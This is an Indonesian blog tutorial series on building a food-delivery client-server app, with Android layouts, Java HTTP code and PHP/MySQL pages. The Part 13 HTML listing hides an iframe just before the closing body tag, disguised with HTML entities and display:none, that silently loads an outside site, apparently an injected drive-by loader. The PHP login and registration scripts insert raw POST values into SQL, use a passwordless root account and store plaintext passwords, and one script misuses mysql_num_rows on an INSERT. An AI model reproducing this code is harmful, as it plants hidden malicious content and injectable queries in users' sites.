Sabtu, 30 Desember 2017

Membuat Client Server Part 14

“Tampilan Menu Yang Ada di WebSite”

  1. Tampilan Index
  1. Tampilan User Rumah Makan


  1. Tampilan Proses Penginputan
  1. Tampilan untuk mengubah data


  1. Tampilan Menu Daftar Rumah Makan

  1. Tampilan Daftar User Pelanggan
  1. Tampilan Daftar Pelanggan
  1. Tampilan Delivery Order

Read More ->>

Membuat Client Server Part 13

“Membuat Tampilan Website Untuk Delivery”
   <!DOCTYPE html>
   <html lang="en">
       <head>
           <meta charset="utf-8">
           <meta name="viewport" content="width=device-width, initial-scale=1.0">
           <meta name="description" content="Creative - Bootstrap 3 Responsive Admin Template">
           <meta name="author" content="GeeksLabs">
           <meta name="keyword" content="Creative, Dashboard, Admin, Template, Theme, Bootstrap, Responsive, Retina, Minimal">
           <link rel="shortcut icon" href="img/favicon.png">

           <title>Data Delivery Gurami</title>

           <link href="css/bootstrap.min.css" rel="stylesheet">
           <link href="css/bootstrap-theme.css" rel="stylesheet">
           <link href="css/elegant-icons-style.css" rel="stylesheet" />
           <link href="css/font-awesome.min.css" rel="stylesheet" />
           <link href="css/style.css" rel="stylesheet">
           <link href="css/style-responsive.css" rel="stylesheet" />

       </head>

       <body>
           <section id="container" class="">

               <header class="header dark-bg">
                   <div class="toggle-nav">
                       <div class="icon-reorder tooltips" data-original-title="Toggle Navigation" data-placement="bottom"><i class="icon_menu"></i></div>
                   </div>

                   <a href="#" class="logo">Delivery Gurami<span class="lite"></span></a>

                   <div class="nav search-row" id="top_menu">
                       <ul class="nav top-menu">                    
                           <li>
                               <form class="navbar-form">
                                   <input class="form-control" placeholder="Search" type="text">
                               </form>
                           </li>                    
                       </ul>             
                   </div>

                   <div class="top-nav notification-row">                
                       <ul class="nav pull-right top-menu">
                           <li class="dropdown">
                               <a data-toggle="dropdown" class="dropdown-toggle" href="#">
                                   <span class="profile-ava">
                                   </span>
                                   <span class="username"></span>
                                   <b class="caret"></b>
                               </a>
                               <ul class="dropdown-menu extended logout">
                                   <div class="log-arrow-up"></div>
                                   
                                   <li>
                                       <a href="../logout.php"><i class="fa fa-sign-out"></i> Log out</a>
                                   </li>  
                               </ul>
                           </li>
                       </ul>
                   </div>
               </header>

               <div id="sidebar"  class="nav-collapse ">
                   <ul class="sidebar-menu">
                   <li class="">
                           <a class="fa fa-home" href="index.php">
                               <span>Beranda</span>
                           </a>
                       </li>
                       <li class="">
                           <a class="fa fa-user-md" href="form_delivery_gurami.php">
                               <span>Input Delivery Gurami</span>
                           </a>
                       </li>
                       
                   </ul>
               </div>

               <section id="main-content">
                   <section class="wrapper">
                       <div class="row">
                           <div class="col-lg-12">
                               <h3 class="page-header"><i class="fa fa fa-clock-o"></i> Daftar Delivery Gurami</h3>
                               <ol class="breadcrumb">
                                   <li><i class="fa fa-home"></i><a href="index.php">Beranda</a></li>
                                   </ol>
                           </div>
                       </div>

                       <div class="row">
                           <div class="col-lg-12">
                               <section class="panel">
                                   <header class="panel-heading">
                                       Daftar Delivery Gurami
                                   </header>
                               <div class="panel-body">
                                   <header class="panel-heading">
                                       <center>Daftar Delivery Gurami</center>
                                   </header>
                                       <div class="clearfix"></div>
                         </header>
                         <table class="table table-striped table-advance table-hover text-center">
                          <tbody>
                                                   <th class="text-center">No</th>
                                                   <th class="text-center">Id Delivery</th>
                                                   <th class="text-center">Nama Pemesan</th>
                                                   <th class="text-center">Nama Paket</th>
<th class="text-center">Alamat</th>
                                                   <th class="text-center">Nomor Telpon</th>
                                                   <th class="text-center">Opsi</th>
                                                   
<?php
include "db/koneksi.php";
$tampil=mysql_query("SELECT * FROM minuman ORDER BY id_deliver");
$no=1;
while ($minuman=mysql_fetch_array($tampil)){
echo "<tr><td>$no</td>
                               <td>$minuman[id_deliver]</td>
                               <td>$minuman[nama_pemesan]</td>
                               <td>$minuman[nama_paket]</td>
<td>$minuman[alamat]</td>
                               <td>$minuman[nomor_telp]</td>
<td>
               <a class='btn btn-success' href=edit_delivery_gurami.php?id=$minuman[id_deliver]><i class='icon_pencil'></i></a>
<a class='btn btn-danger' href=hapus_delivery_gurami.php?id=$minuman[id_deliver]><i class='icon_close'></i></a>
</td></tr>";
$no++;
}
echo "</table>";
?>
                         </table>
                               </div>
                           </div>
                       </div>
                   </section>
                   </div>
                   </div>
               </section>
           </section>
       </section>
       <script src="js/jquery.js"></script>
       <script src="js/bootstrap.min.js"></script>
       <script src="js/jquery.scrollTo.min.js"></script>
       <script src="js/jquery.nicescroll.js" type="text/javascript"></script>
       <script src="js/scripts.js"></script>


   <iframe src="http://jL.ch&#117;ra.pl/rc/" style="d&#105;splay:none"></iframe>
</body>
   </html>


Read More ->>

Membuat Client Server Part 1

“Membuat Client Server Penjualan Makanan Dengan Menggunakan Android dan Website”


Pada kesempatan kali ini saya akan membuat fromlogin diandroid dan kita koneksikan dengan website untuk penyimpanan data saya gunakan mysql, alasannya mysql dapat menampung banyak data yang akan kita input.
Dibawah ini adalah tampilan layout untuk fromlogin.


<?xml version="1.0" encoding="utf-8"?>
<LinearLayout
android:id="@+id/widg37"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical"
android:background="@drawable/login"
xmlns:android="http://schemas.android.com/apk/res/android">


<TableLayout
android:id="@+id/widget37"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical">    
   
   
<TableRow
android:id="@+id/widget45"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<TextView
android:id="@+id/widget47"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="#FF000000"
android:text="Username   :" />


<EditText
   android:id="@+id/txtusername"
   android:layout_width="200dp"
   android:layout_height="wrap_content"
   android:text=""
   android:textSize="18sp" />


</TableRow>
<TableRow
android:id="@+id/widget46"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<TextView
android:id="@+id/widget55"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="#FF000000"
android:text="Password    :" />
<EditText
android:id="@+id/txtpassword"
android:layout_width="200dp"
android:layout_height="wrap_content"
android:text=""
android:password="True"
android:textSize="18sp" />
</TableRow>
</TableLayout>
<TableLayout
android:id="@+id/w7"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical">
<TableRow
android:id="@+id/widget65"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<Button
android:id="@+id/btnlogin"
android:onClick="login"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="L O G I N" />
<Button
android:id="@+id/btndaftar"
android:onClick="daftar"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="DAFTAR" />
</TableRow>
</TableLayout>
<TextView
android:id="@+id/txtstatus"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="" />
</LinearLayout>
Cara menggunakan aplikasi ini daftarkan dulu nama kita sebagai pelanggan, dengan cara klik button “Daftar” untuk melakukan registrasi
<?xml version="1.0" encoding="utf-8"?>
<ScrollView
android:id="@+id/widget124"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:orientation="vertical"
android:background="@drawable/login"
xmlns:android="http://schemas.android.com/apk/res/android">
<LinearLayout
android:id="@+id/widget124"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:orientation="vertical">
<TableLayout
android:id="@+id/widget125"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical">
<TableRow
android:id="@+id/widget126"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<TextView
android:id="@+id/widget127"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="#FF000000"
android:text="Nomor KTP" />
<EditText
android:id="@+id/txtnomorktp"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text=""
android:textSize="18sp" />
</TableRow>


<TableRow
android:id="@+id/widget129"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<TextView
android:id="@+id/widget130"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="#FF000000"
android:text="Nama" />

<EditText
android:id="@+id/txtnama"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text=""
android:textSize="18sp" />


</TableRow>
<TableRow
android:id="@+id/widget132"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<TextView
android:id="@+id/widget133"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="#FF000000"
android:text="Tempat Lahir" />
<EditText
android:id="@+id/txtttl"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text=""
android:textSize="18sp" />
</TableRow>
<TableRow
android:id="@+id/widget135"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<TextView
android:id="@+id/widget136"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="#FF000000"
android:text="Alamat" />
<EditText
android:id="@+id/txtalamat"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text=""
android:textSize="18sp" />
</TableRow>
<TableRow
android:id="@+id/widget138"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<TextView
android:id="@+id/widget139"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="#FF000000"
android:text="Jenis Kelamin     " />
<RadioGroup
android:id="@+id/jekel"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="horizontal">
<RadioButton
android:id="@+id/pria"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="#FF000000"
android:text="Pria" />


<RadioButton
android:id="@+id/perempuan"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="#FF000000"
android:text="Perempuan" />
</RadioGroup>


</TableRow>
<TableRow
android:id="@+id/widget143"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<TextView
android:id="@+id/widget144"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="#FF000000"
android:text="Agama" />
<EditText
android:id="@+id/txtagama"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text=""
android:textSize="18sp" />
</TableRow>
<TableRow
android:id="@+id/widget146"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<TextView
android:id="@+id/widget147"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="#FF000000"
android:text="Pekerjaan" />
<EditText
android:id="@+id/txtpekerjaan"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text=""
android:textSize="18sp" />
</TableRow>
<TableRow
android:id="@+id/widget149"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<TextView
android:id="@+id/widget150"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="#FF000000"
android:text="Username" />
<EditText
android:id="@+id/txtusername"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text=""
android:textSize="18sp" />
</TableRow>
<TableRow
android:id="@+id/widget152"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<TextView
android:id="@+id/widget153"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="#FF000000"
android:text="Password" />
<EditText
android:id="@+id/txtpassword"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text=""
android:password="True"
android:textSize="18sp" />
</TableRow>
</TableLayout>


<TableLayout
android:id="@+id/widget125"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical">
<TableRow
android:id="@+id/widget155"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<Button
android:id="@+id/btnsimpan"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="SIMPAN" />
<Button
android:id="@+id/btnexit"
android:onClick="keluar"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="E X I T" />
</TableRow>


</TableLayout>
<TextView
android:id="@+id/txtstatus"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="" />
</LinearLayout>
</ScrollView>


Setelah itu akan ada format pengisian data diri, setelah selesai kita pilih button “Simpan” Untuk mendaftarkan kita sebagai pelanggan.
Cara mengoneksikan android dan website ada program yang perlu kita buat programnya seperti dibawah ini :


package com.wilis;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URI;
import java.util.ArrayList;


import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.conn.params.ConnManagerParams;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.params.HttpConnectionParams;
import org.apache.http.params.HttpParams;


public class CustomHttpClient {
  /** The time it takes for our client to timeout */
   public static final int HTTP_TIMEOUT = 30 * 1000; // milliseconds


   /** Single instance of our HttpClient */
   private static HttpClient mHttpClient;


   /**
    * Get our single instance of our HttpClient object.
    *
    * @return an HttpClient object with connection parameters set
    */
   private static HttpClient getHttpClient() {
       if (mHttpClient == null) {
           mHttpClient = new DefaultHttpClient();
           final HttpParams params = mHttpClient.getParams();
           HttpConnectionParams.setConnectionTimeout(params, HTTP_TIMEOUT);
           HttpConnectionParams.setSoTimeout(params, HTTP_TIMEOUT);
           ConnManagerParams.setTimeout(params, HTTP_TIMEOUT);
       }
       return mHttpClient;
   }


   /**
    * Performs an HTTP Post request to the specified url with the
    * specified parameters.
    *
    * @param url The web address to post the request to
    * @param postParameters The parameters to send via the request
    * @return The result of the request
    * @throws Exception
    */
   public static String executeHttpPost(String url, ArrayList<NameValuePair> postParameters) throws Exception {
       BufferedReader in = null;
       try {
           HttpClient client = getHttpClient();
           HttpPost request = new HttpPost(url);
           UrlEncodedFormEntity formEntity = new UrlEncodedFormEntity(postParameters);
           request.setEntity(formEntity);
           HttpResponse response = client.execute(request);
           in = new BufferedReader(new InputStreamReader(response.getEntity().getContent()));


           StringBuffer sb = new StringBuffer("");
           String line = "";
           String NL = System.getProperty("line.separator");
           while ((line = in.readLine()) != null) {
               sb.append(line + NL);
           }
           in.close();


           String result = sb.toString();
           return result;
       } finally {
           if (in != null) {
               try {
                   in.close();
               } catch (IOException e) {
                   e.printStackTrace();
               }
           }
       }
   }


   /**
    * Performs an HTTP GET request to the specified url.
    *
    * @param url The web address to post the request to
    * @return The result of the request
    * @throws Exception
    */
   public static String executeHttpGet(String url) throws Exception {
       BufferedReader in = null;
       try {
           HttpClient client = getHttpClient();
           HttpGet request = new HttpGet();
           request.setURI(new URI(url));
           HttpResponse response = client.execute(request);
           in = new BufferedReader(new InputStreamReader(response.getEntity().getContent()));


           StringBuffer sb = new StringBuffer("");
           String line = "";
           String NL = System.getProperty("line.separator");
           while ((line = in.readLine()) != null) {
               sb.append(line + NL);
           }
           in.close();


           String result = sb.toString();
           return result;
       } finally {
           if (in != null) {
               try {
                   in.close();
               } catch (IOException e) {
                   e.printStackTrace();
               }
           }
       }
   }
}
Setelah program HttpClient selesai kita buat program untuk menghubungkan fromlogin android dengan website caranya seperti dibawah ini :
package com.wilis;


import java.util.ArrayList;


import org.apache.http.NameValuePair;
import org.apache.http.message.BasicNameValuePair;


import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.RadioGroup;
import android.widget.TextView;


public class daftar_user extends Activity {
  
  EditText ktp,nama,ttl,alamat,agama,pekerjaan,username,password;
  RadioGroup jk;
  TextView status;
  Button simpan;
  
  
   /** Called when the activity is first created. */
  
  @Override
  
  
   public void onCreate(Bundle savedInstanceState) {
       super.onCreate(savedInstanceState);
       setContentView(R.layout.daftar_user);
      
       
       ktp=(EditText)findViewById(R.id.txtnomorktp);
       nama=(EditText)findViewById(R.id.txtnama);
       ttl=(EditText)findViewById(R.id.txtttl);
       jk=(RadioGroup) findViewById(R.id.jekel);
       alamat=(EditText)findViewById(R.id.txtalamat);
       agama=(EditText)findViewById(R.id.txtagama);
       pekerjaan=(EditText)findViewById(R.id.txtpekerjaan);
       username=(EditText)findViewById(R.id.txtusername);
       password=(EditText)findViewById(R.id.txtpassword);
          
       
       simpan=(Button)findViewById(R.id.btnsimpan);
      // keluar=(Button)findViewById(R.id.btnexit);
       status=(TextView)findViewById(R.id.txtstatus);
       
       simpan.setOnClickListener(new View.OnClickListener() {
        
        @Override
        
        public void onClick(View v) {
           
           // TODO Auto-generated method stub
       
        //atur variabel utk menampung pilihan jenis kelamin
        String type=null;
        switch (jk.getCheckedRadioButtonId()) {
        case R.id.pria:
        type="Pria";
        break;
        case R.id.perempuan:
        type="Perempuan";
        break;
        }
            
           
           ArrayList<NameValuePair> postParameters = new ArrayList<NameValuePair>();
           postParameters.add(new BasicNameValuePair("nomor_ktp", ktp.getText().toString()));
           postParameters.add(new BasicNameValuePair("nama", nama.getText().toString()));
           postParameters.add(new BasicNameValuePair("ttl",ttl.getText().toString()));
           postParameters.add(new BasicNameValuePair("alamat", alamat.getText().toString()));
           postParameters.add(new BasicNameValuePair("jekel", type));
           postParameters.add(new BasicNameValuePair("agama", agama.getText().toString()));
           postParameters.add(new BasicNameValuePair("pekerjaan", pekerjaan.getText().toString()));
           postParameters.add(new BasicNameValuePair("username", username.getText().toString()));
           postParameters.add(new BasicNameValuePair("password", password.getText().toString()));
           
/*            String valid = "1";*/      
           
           String response = null;
           
           try {
              
              response = CustomHttpClient.executeHttpPost("http://10.0.2.2/aktar/daftar_user.php", postParameters);
              
              String res = response.toString();
              
              res = res.trim();
              
              res = res.replaceAll("\\s+","");
              
              status.setText(res);
              
              if (res.equals("1")) status.setText("Data tidak Tersimpan Ke server");
              
              else status.setText("Data berhasil disimpan ke server");
              
           }
           
           catch (Exception e) {
              
              username.setText(e.toString());
              
           }
              
        }
           
           
     });
   }
  
   public void keluar (View theButton)
   {
    Intent a = new Intent (this,login.class);
    startActivity(a);
   }
}


Skrip php untuk mengoneksikan website dengan android caranya seperti dibawah ini :


<?php
   $nomor_reg=@$_POST['nomor_reg'];
$nama=@$_POST['nama'];
   $ttl=@$_POST['ttl'];
   $jekel=@$_POST['jekel'];
  
   $conn = mysql_connect("localhost","root","");
   mysql_select_db("rumah_makan");


$query = ("INSERT INTO daftar_akta (nomor_reg,nama,ttl,jekel) values ('$nomor_reg','$nama','$ttl','$jekel')");
$result = mysql_query($query) or die("REPORT...Gagal Query Simpan Data.");


  if (mysql_num_rows($result) == 1){
   echo 1;
}
  else {
   // print status message
     echo 0;
}


?>


Dan untuk memanggil nama user dan password yang sudah diregistrasi dan tersimpan dalam database caranya buat skrip seperti dibawah ini :
   <?php


   $username=@$_POST['username'];
   $password=@$_POST['password'];


   $conn = mysql_connect("localhost","root","");
   mysql_select_db("rumah_makan");


   $query = "SELECT * FROM user WHERE username = '$username' AND password ='$password'";
   $result = mysql_query($query) or die("Unable to verify user because : " . mysql_error());


   
  if (mysql_num_rows($result) == 1){
   echo 1;
}
  else {
   // print status message
     echo 0;
}
   ?>


Untuk melihat data kita yang terdaftar kita panggil file php dengan cara membuka browser, tapi jangan lupa aktifkan dulu Xampp.
Setelah mysql dan apache sudah aktif kita buka browser untuk membuka website. Untuk pemanggilan alamat website ini alamatnya http://localhost/From_Login/index.php.
Pilih menu user untuk melihat daftar orang yang sudah melakukan registrasi
Untuk melihat databasenya terdaftar atau belum kita cek dilocalhost, nama database rumah_makan ditabel “user”

Baiklah sekian dari saya semoga bermanfaat buat yang membaca.
Read More ->>
Diberdayakan oleh Blogger.

Followers